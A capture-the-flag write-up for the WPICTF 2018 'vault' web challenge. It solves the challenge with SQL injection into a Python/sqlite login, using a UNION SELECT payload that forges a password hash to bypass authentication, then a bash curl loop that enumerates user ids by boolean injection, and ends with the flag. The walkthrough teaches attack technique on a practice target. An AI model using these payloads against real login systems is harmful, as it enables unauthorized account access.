**No files provided**
**Description**
> https://vault.wpictf.xyz> > UPDATE: everything fixed> > by GODeva
**Solution**
![](https://github.com/Aurel300/empirectf/raw/master/writeups/2018-04-13-WPICTF/screens/web-200-vault1.png)
We are greeted with a login screen. The page sourcecode has two interesting comments:
 
We are given the full schema for the `clients` table, so it is pretty clear we will be dealing with a SQL injection of some sort. The other comment:
 
    $ echo "V2hhdD8gWW91IHRob3VnaHQgdGhpcyB3YXMgYSBmbGFnPyBIYSB0aGF0IHdvdWxkIGJlIHRvIGVhc3kuIFRoYXQncyBqdXN0IG5vdCBteSBzdHlsZT8gfiBHb3V0aGFt" | base64 -D    What? You thought this was a flag? Ha that would be to easy. That's just not my style? ~ Goutham
So just a red herring. The register button links to [this useful video](https://www.youtube.com/watch?v=dQw4w9WgXcQ). Let's try putting some data in the form.
> Username: '> > Password: x
![](https://github.com/Aurel300/empirectf/raw/master/writeups/2018-04-13-WPICTF/screens/web-200-vault2.png)
Very useful! We can even expand the last entry in the traceback to see the surrounding code:
> File "/home/vault/vault/secretvault.py", line 58, in login>     connection = sqlite3.connect(os.path.join(directoryFordata, 'clients.db'))>     pointer = connection.cursor()>  >     search = """SELECT id, hash, salt FROM clients>                WHERE clientname = '{0}' LIMIT 1""".format(clientname)>     pointer.execute(search)>  >     res = pointer.fetchone()>     if not res:>         return "No such user in the database {0}!\n".format(clientname)>     userID, hash, salt = res
Very clear SQL injection vulnerability. Unfortunately, it looks like the server first selects a row from the table based on `clientname`, then checks the `hash` + `salt` at a later point. No problem, we can use a SQL `UNION` statement to make our own login credentials. We make an informed guess that the hashing algorithm is SHA-256. It is not clear whether the salt is appended or prepended, so let's just not have any. We can find out the SHA-256 hash of a password of our choosing easily:
    $ python -c 'from hashlib import sha256; print sha256("foobar").hexdigest()'    c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2
The full data that we'd like to have in the table is:
| `id` | `hash` | `salt` || --- | --- | --- || "0" | "c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2" | "" |
We'll get to `id` later, so we put 0 for now (but the column type is still `VARCHAR(255)`). Knowing the query the server executes, we construct the following injection:
    ' UNION SELECT "0", "c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2", "" -- 
So after Python formats the query string, the result is:
    SELECT id, hash, salt FROM clients WHERE clientname = ''    UNION    SELECT "0", "c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2", ""
(Everything after is ignored due to the comment marker ` -- `.)
In other words, the server is looking for clients with `clientname` equal to the empty string, and concatenates the (non-existent) results of that query with our inline data.
To login:
> Username: ' UNION SELECT "0", "c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2", "" -- > > Password: foobar
It works, and we are greeted with the message:
    Welcome back valid user! Your digital secret is: "https://www.youtube.com/watch?v=dQw4w9WgXcQ" (Log out)
I'll let you guess what that video is. There is nothing else we can change in our login except for the `id` - it seems the server serves different "digital secrets" based on the `id` of the logged-in user. We can figure out the `id` for user `Goutham`, since the red herring comment hinted that `Goutham` knows the flag. Given that `id` is a `VARCHAR(255)`, the search space could be quite large, and we could use a character-by-character binary search. Luckily, it is a single digit.
    #!/bin/bash    for id in {0..9}; do        echo "$id"        curl --data-urlencode "clientname=Goutham' AND id = '$id' -- " \            --data-urlencode "password=a" "https://vault.wpictf.xyz/login"    done
> [link to script](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-04-13-WPICTF/scripts/web-200-vault-getid.sh)
The above script injects the additional condition for `id` value into the SQL query. Only when both `clientname` and `id` match a record in the table will a row be found in the result. We can distinguish the two cases based on the different error messages produces ("no such user" vs. "incorrect password"). So we find out that `Goutham` has `id` "2".
> Username: ' UNION SELECT "2", "c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2", "" -- > > Password: foobar
And that works:
    Welcome back valid user! Your digital secret is: "WPI{y0ur_fl46_h45_l1k3ly_b31n6_c0mpr0m153d}" (Log out)